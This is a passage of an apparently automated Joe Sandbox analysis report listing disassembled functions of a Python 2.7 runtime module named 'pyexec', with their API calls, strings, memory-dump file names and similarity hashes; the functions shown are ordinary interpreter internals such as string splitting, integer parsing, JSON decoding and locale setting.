_PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(?,?,|OnO:split,6C309B68,?,?,?), ref: 6C0B6982
PyErr_WarnEx.PYTHON27(6C2E6B30,split() requires a non-empty pattern match.,00000001), ref: 6C0B69DE
PyErr_WarnEx.PYTHON27(6C2E6E60,split() requires a non-empty pattern match.,00000001), ref: 6C0B6A01

Part of subcall function 6C0B5E20: memset.MSVCR90 ref: 6C0B5E31

PyList_New.PYTHON27(00000000), ref: 6C0B6A32

Part of subcall function 6C1593A0: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,0000007E,?,?,?,?,?,6C145BB1,?,?,?,?,6C1467DF,?), ref: 6C1593C3

PySequence_GetSlice.PYTHON27(?,?,?,?), ref: 6C0B6B0B
PyList_Append.PYTHON27(?,00000000,?,?,?), ref: 6C0B6B22
PyList_Append.PYTHON27(?,00000000,?,?,?,?,?), ref: 6C0B6B71
PySequence_GetSlice.PYTHON27(?,?,00000001,?,?), ref: 6C0B6BFA
PyList_Append.PYTHON27(?,00000000,?,?,?), ref: 6C0B6C0D

Strings

|OnO:split, xrefs: 6C0B697B
split, xrefs: 6C0B694F
split() requires a non-empty pattern match., xrefs: 6C0B69D8, 6C0B69FB
source, xrefs: 6C0B6996
%s() takes at most %d positional arguments (%zd given), xrefs: 6C0B6954

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_List_$Append$FormatSequence_SizeSliceWarn$Arg_Dict_Keywords_ParseTuplememset
String ID: %s() takes at most %d positional arguments (%zd given)$source$split$split() requires a non-empty pattern match.$|OnO:split
API String ID: 1086040982-4007574005
Opcode ID: 9e05ebdfd06838169b4c8601ddcb5f95e9b14429ceccff5508c04c09a5f2d5c7
Instruction ID: 60079ae0273ca1d59675746fda65874f14af31adc7f218e948880b75d9ae8e27
Opcode Fuzzy Hash: 9e05ebdfd06838169b4c8601ddcb5f95e9b14429ceccff5508c04c09a5f2d5c7
Instruction Fuzzy Hash: 259151B5A012159BCB14CF64DC80B9E73F9BB44318F1486A8E919E7B40E736EE85CF90

Function 6C0B1680 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON27(?,seed,00000000,00000001,?), ref: 6C0B16A2

Part of subcall function 6C1C5D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
Part of subcall function 6C1C5D90: PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB

PyMem_Malloc.PYTHON27(00000020), ref: 6C0B1732
_PyLong_New.PYTHON27(00000001), ref: 6C0B1759
PyInt_FromLong.PYTHON27(00000020), ref: 6C0B178B
PyObject_IsTrue.PYTHON27(?), ref: 6C0B17A2
PyNumber_And.PYTHON27(?,?), ref: 6C0B17C5
PyLong_AsUnsignedLong.PYTHON27(00000000), ref: 6C0B17D8
PyNumber_Rshift.PYTHON27(?,?), ref: 6C0B180F

Strings

seed, xrefs: 6C0B1693

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: FromLongLong_Number_$Arg_Err_Int_MallocMem_ObjectObject_RshiftStringString_TrueTupleUnpackUnsigned
String ID: seed
API String ID: 2087077843-1149756166
Opcode ID: 35f96b0050b32f71a5dcfd304a20e520eec3fe268fcf9b5ac00fb6e8e2a9b17c
Instruction ID: abe74d6ff7032eb8ecce408d6450980474c697fc2b6dabaca6272a09271987cd
Opcode Fuzzy Hash: 35f96b0050b32f71a5dcfd304a20e520eec3fe268fcf9b5ac00fb6e8e2a9b17c
Instruction Fuzzy Hash: D38193B5E002059BDB00CBA5D840BEE77F4BF45328F244369D825B7B90E736E956CB91

Function 6C157560 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E5D10,int() base must be >= 2 and <= 36, or 0), ref: 6C157586
isspace.MSVCR90 ref: 6C1575A4
_errno.MSVCR90 ref: 6C1575B9
PyOS_strtoul.PYTHON27(?,?,?), ref: 6C1575D5
PyLong_FromString.PYTHON27(?,?,?), ref: 6C1575E9
PyOS_strtol.PYTHON27(?,?,?), ref: 6C1575FF

Part of subcall function 6C1CF0A0: isspace.MSVCR90 ref: 6C1CF0B9
Part of subcall function 6C1CF0A0: PyOS_strtoul.PYTHON27(?,?,?,?,?,?,6C157604,?,?,?), ref: 6C1CF0E1

isalnum.MSVCR90 ref: 6C157616
isspace.MSVCR90 ref: 6C157634
_errno.MSVCR90 ref: 6C157650
PyLong_FromString.PYTHON27(?,?,?), ref: 6C157664
PyInt_FromLong.PYTHON27(00000000), ref: 6C15767D
PyString_FromStringAndSize.PYTHON27(?,000000C8), ref: 6C1576B8
PyObject_Repr.PYTHON27(00000000), ref: 6C1576C7
PyErr_Format.PYTHON27(6C2E5D10,invalid literal for int() with base %d: %s,?,00000014), ref: 6C1576FA

Strings

invalid literal for int() with base %d: %s, xrefs: 6C1576F4
int() base must be >= 2 and <= 36, or 0, xrefs: 6C157580

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: FromString$isspace$Err_Long_S_strtoul_errno$FormatInt_LongObject_ReprS_strtolSizeString_isalnum
String ID: int() base must be >= 2 and <= 36, or 0$invalid literal for int() with base %d: %s
API String ID: 589373795-3519328525
Opcode ID: d4e5289e0050e8968d97809dcaf4c7adc4a49d0dd2e61e033c6d147ee79453d8
Instruction ID: 7c41d28e36f5788f13a825af1ab4073df3abf0ea1f2ec6416cd7dacff790ffff
Opcode Fuzzy Hash: d4e5289e0050e8968d97809dcaf4c7adc4a49d0dd2e61e033c6d147ee79453d8
Instruction Fuzzy Hash: 4E5190F2A142025BE7008E68AC41BB673B9EF92318F548756FCB887741E725D936C7E1

Function 6C0AB6A0 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 339COMMON

Download Yara Rule

APIs

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0AB701

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

PyString_FromString.PYTHON27(end is out of bounds), ref: 6C0AB74F
PyErr_SetObject.PYTHON27(6C2E5D10,00000000,end is out of bounds), ref: 6C0AB758
_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0AB7A7
PyString_FromStringAndSize.PYTHON27(?,?), ref: 6C0AB829
PyUnicodeUCS2_FromEncodedObject.PYTHON27(00000000,?,00000000), ref: 6C0AB842
PyList_Append.PYTHON27(?,00000000), ref: 6C0AB86B
PyList_Append.PYTHON27(?,?), ref: 6C0AB9E5

Part of subcall function 6C0AB460: PyString_FromString.PYTHON27(json.decoder), ref: 6C0AB473
Part of subcall function 6C0AB460: PyImport_Import.PYTHON27(00000000), ref: 6C0AB486
Part of subcall function 6C0AB460: PyObject_GetAttrString.PYTHON27(00000000,errmsg), ref: 6C0AB4AB
Part of subcall function 6C0AB460: PyObject_CallFunction.PYTHON27(?,(zOO&),?,?,Function_0000ADF0,?), ref: 6C0AB4E9
Part of subcall function 6C0AB460: PyErr_SetObject.PYTHON27(6C2E5D10,00000000), ref: 6C0AB4FF

Strings

Unterminated string starting at, xrefs: 6C0ABA29, 6C0ABA92
P&0l, xrefs: 6C0AB71A, 6C0AB722, 6C0AB72A
Invalid \uXXXX escape, xrefs: 6C0ABAA7, 6C0ABAC1
Invalid \escape, xrefs: 6C0AB916
Invalid control character at, xrefs: 6C0ABA11
GC object already tracked, xrefs: 6C0AB6FC
end is out of bounds, xrefs: 6C0AB74A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$From$DebugObjectObject_OutputString_$AppendErr_List___iob_func$AttrCallEncodedErrorFatalFunctionImportImport_MallocSizeUnicodeabortfflushfprintf
String ID: GC object already tracked$Invalid \escape$Invalid \uXXXX escape$Invalid control character at$P&0l$Unterminated string starting at$end is out of bounds
API String ID: 3483052483-3767674667
Opcode ID: 9dc310ac750c3d8af44a2d1000e3731fc13d9d526956e84bf45df043a69c738e
Instruction ID: 87c350458f0443592e2da5a7180859fe8f383a3ee85054b7d5bbde527602716a
Opcode Fuzzy Hash: 9dc310ac750c3d8af44a2d1000e3731fc13d9d526956e84bf45df043a69c738e
Instruction Fuzzy Hash: C0C1E7759046099FC710CFE8D880B5A77F4EF46368F148629E8A947B92E730E947CB92

Function 6C163740 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 221COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000040), ref: 6C163778
PyObject_GetBuffer.PYTHON27(?,0000000C,0000011C), ref: 6C1637B0
PyBuffer_IsContiguous.PYTHON27(0000000C,?), ref: 6C1637C5
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C1637E4
PyErr_SetString.PYTHON27(6C2E6898,writable contiguous buffer requested for a non-contiguousobject.), ref: 6C16383F

Part of subcall function 6C163660: PyErr_NoMemory.PYTHON27(?,?,6C1638F0,00000014,?), ref: 6C16366E

PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 6C163856
PyTuple_Pack.PYTHON27(00000002,?,00000000), ref: 6C1638AA
PyBuffer_Release.PYTHON27(0000000C), ref: 6C163927
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C163940

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

PyString_FromString.PYTHON27(object does not have the buffer interface), ref: 6C16397F
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,object does not have the buffer interface), ref: 6C163988

Strings

P&0l, xrefs: 6C1637F9, 6C163802, 6C16380A, 6C163955, 6C16395E, 6C163965
object does not have the buffer interface, xrefs: 6C16397A
writable contiguous buffer requested for a non-contiguousobject., xrefs: 6C163839
GC object already tracked, xrefs: 6C1637DF, 6C16393B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$DebugErr_Output$Buffer_ErrorFatalFromObject_String___iob_func$BufferContiguousMallocMemoryObjectPackReleaseSizeTuple_abortfflushfprintf
String ID: GC object already tracked$P&0l$object does not have the buffer interface$writable contiguous buffer requested for a non-contiguousobject.
API String ID: 2061887235-10782742
Opcode ID: 8dc05db0bd055eed10d93ef7a54148003d1de6f70f4310bec0620f87cea5436f
Instruction ID: 602e76e1bbc78a853a792bd9d5805da62b9569167c362a1ab3956d1d96017954
Opcode Fuzzy Hash: 8dc05db0bd055eed10d93ef7a54148003d1de6f70f4310bec0620f87cea5436f
Instruction Fuzzy Hash: 7671E6B66002059BD700CF56D880AA6B3B8EB55338F148329ED6987F81E735E867CBD1

Function 6C0AC7B0 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 372COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON27 ref: 6C0AC7DB
_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0AC818
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0AC85A
PyTuple_Pack.PYTHON27(00000002,?,00000000), ref: 6C0AC9EC
PyList_Append.PYTHON27(?,00000000), ref: 6C0ACA34
PyObject_CallFunctionObjArgs.PYTHON27(?,?,00000000), ref: 6C0ACB48
PyObject_CallFunctionObjArgs.PYTHON27(?,?,00000000), ref: 6C0ACB88

Part of subcall function 6C12F750: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12F770

PyObject_CallFunctionObjArgs.PYTHON27(?,00000000,00000000), ref: 6C0ACBC0

Strings

P&0l, xrefs: 6C0AC871, 6C0AC87A, 6C0AC881
Expecting object, xrefs: 6C0AC8B6
Expecting ',' delimiter, xrefs: 6C0ACB12
GC object already tracked, xrefs: 6C0AC855
Expecting property name enclosed in double quotes, xrefs: 6C0ACAE9
Expecting ':' delimiter, xrefs: 6C0AC939

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$ArgsCallFunction$AppendErr_ErrorFatalList_MallocPackStringTrueTuple_
String ID: Expecting ',' delimiter$Expecting ':' delimiter$Expecting object$Expecting property name enclosed in double quotes$GC object already tracked$P&0l
API String ID: 2157364734-4051550467
Opcode ID: abdb6f37ebb7f6106b84bb0578d98354c87fb90838bebb060024d30eed29a6d6
Instruction ID: 70f7ff709ad97c8bc25b33b86c3f1e28a1c3c21ed50effcb627dd33a96036e23
Opcode Fuzzy Hash: abdb6f37ebb7f6106b84bb0578d98354c87fb90838bebb060024d30eed29a6d6
Instruction Fuzzy Hash: 36C1E7756002028BC710EFD8C844BAA73E4FB45328F664729E9658BB92D736DC87C7D6

Function 6C166E30 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

PyUnicodeUCS2_AsEncodedString.PYTHON27(?,00000000,00000000), ref: 6C166E6C
PyErr_Format.PYTHON27(6C2E48B0,attribute name must be string, not '%.200s',?), ref: 6C166E94
PyType_Ready.PYTHON27(?), ref: 6C166EB2
_PyType_Lookup.PYTHON27(?,?), ref: 6C166EC4
_PyObject_GetDictPtr.PYTHON27(?), ref: 6C166F0B
PyDict_New.PYTHON27 ref: 6C166F2A
PyDict_DelItem.PYTHON27(?,?), ref: 6C166F4A
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E5C10), ref: 6C166F78
PyErr_SetObject.PYTHON27(6C2E55C0,?), ref: 6C166F8C

Strings

'%.50s' object attribute '%.400s' is read-only, xrefs: 6C166FF5
attribute name must be string, not '%.200s', xrefs: 6C166E8E
'%.100s' object has no attribute '%.200s', xrefs: 6C166FDC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Dict_Type_$DictEncodedExceptionFormatGivenItemLookupMatchesObjectObject_ReadyStringUnicode
String ID: '%.100s' object has no attribute '%.200s'$'%.50s' object attribute '%.400s' is read-only$attribute name must be string, not '%.200s'
API String ID: 86432852-722485057
Opcode ID: 1a3da774ba815a97a9e2440b7ecd5ef20362482d4543d384ffdcae412afaf160
Instruction ID: d6ec89b0514a13f1de09bf6f1bff3e8b60ed6fddbb409e8a3561d999cfc3621f
Opcode Fuzzy Hash: 1a3da774ba815a97a9e2440b7ecd5ef20362482d4543d384ffdcae412afaf160
Instruction Fuzzy Hash: 0651D4B5A042059BD701CF2ADC90E5B73A8AF95328F1446ADFC6487B81E731E925CBE1

Function 6C1557C0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 123COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(0000002C), ref: 6C1557D0
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000072), ref: 6C155834
PyErr_SetString.PYTHON27(6C2E5B38,tuple index out of range), ref: 6C155855
PyString_FromString.PYTHON27(__name__), ref: 6C15588E
PyString_InternInPlace.PYTHON27(?), ref: 6C1558A7
PyDict_GetItem.PYTHON27(?,?), ref: 6C1558D8
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C1558F7

Strings

P&0l, xrefs: 6C15590C, 6C155915, 6C15591C
%s:%d: bad argument to internal function, xrefs: 6C15582E
..\Objects\tupleobject.c, xrefs: 6C155829
__name__, xrefs: 6C155889
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C15584A
GC object already tracked, xrefs: 6C1558F2
tuple index out of range, xrefs: 6C15584F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_StringString_$Dict_ErrorFatalFormatFromInternItemMallocObject_Place
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$GC object already tracked$P&0l$__name__$tuple index out of range
API String ID: 4258960316-3479994420
Opcode ID: 48265834ae2bd902e6886db81992641c2d3f3208385945248c9d56b09b7edf0b
Instruction ID: 6721cf0706336d99605b1718f08d1c607d319e92393f16273d57cbb58fd9f9ed
Opcode Fuzzy Hash: 48265834ae2bd902e6886db81992641c2d3f3208385945248c9d56b09b7edf0b
Instruction Fuzzy Hash: B84124F5A003009FD720CF5AC884916B3F4FF59328B508A2EE96A87B51E331E469CF81

Function 6C0B017E Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 121COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?), ref: 6C0B01B0
PyModule_GetName.PYTHON27(?), ref: 6C0B01BD
PyErr_Clear.PYTHON27 ref: 6C0B01C9
PyString_FromFormat.PYTHON27(<%s.%s>,__builtin__,__builtin__), ref: 6C0B0215
PyString_FromFormat.PYTHON27(<%s>,__builtin__), ref: 6C0B022B
PyString_FromString.PYTHON27 ref: 6C0B023C
_PyType_Lookup.PYTHON27(?,00000000), ref: 6C0B024F
PyObject_Repr.PYTHON27(00000000), ref: 6C0B0275
PyErr_Clear.PYTHON27 ref: 6C0B0299
PyString_FromFormat.PYTHON27(<built-in method %s>), ref: 6C0B02A9

Part of subcall function 6C16D340: PyString_FromFormatV.PYTHON27(?,6C1C9889,?,6C1C9889,Parent module '%.200s' not found while handling absolute import,00000000), ref: 6C16D34B

Strings

<%s>, xrefs: 6C0B0226
<built-in method %s>, xrefs: 6C0B02A4
<%s.%s>, xrefs: 6C0B0210
__builtin__, xrefs: 6C0B01CE, 6C0B01D3, 6C0B020E, 6C0B020F, 6C0B0225

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: FromString_$Format$ClearErr_Type_$LookupModule_NameObject_ReprStringSubtype
String ID: <%s.%s>$<%s>$<built-in method %s>$__builtin__
API String ID: 2594719110-64842266
Opcode ID: 6a07400beab210924b7546fe47a4862eb034e7f8e20fb92cd115a84a6dad7533
Instruction ID: 320d60f18d7f8cafb2c3597c8565ce60e865e1cefd53ba551e5a3aaff47a4a7c
Opcode Fuzzy Hash: 6a07400beab210924b7546fe47a4862eb034e7f8e20fb92cd115a84a6dad7533
Instruction Fuzzy Hash: 1A318CF1B06A810BD718DBA49E90B9773E4AF5022CB184778EC659BF41E732EC1883D1

Function 6C0AF590 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 109COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 6C0AF5B6
setlocale.MSVCR90 ref: 6C0AF5DD
PyErr_SetString.PYTHON27(00000000,unsupported locale setting), ref: 6C0AF5F5
PyString_FromString.PYTHON27(00000000), ref: 6C0AF606
PyErr_Clear.PYTHON27 ref: 6C0AF62A
setlocale.MSVCR90 ref: 6C0AF63A
PyErr_SetString.PYTHON27(00000000,locale query failed), ref: 6C0AF653
PyString_FromString.PYTHON27(invalid locale category), ref: 6C0AF67F
PyErr_SetObject.PYTHON27(00000000,00000000,invalid locale category), ref: 6C0AF688

Strings

locale query failed, xrefs: 6C0AF64D
unsupported locale setting, xrefs: 6C0AF5EF
invalid locale category, xrefs: 6C0AF67A
i|z:setlocale, xrefs: 6C0AF5A8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromString_setlocale$Arg_ClearObjectParseTuple
String ID: invalid locale category$i|z:setlocale$locale query failed$unsupported locale setting
API String ID: 710232110-2409507137
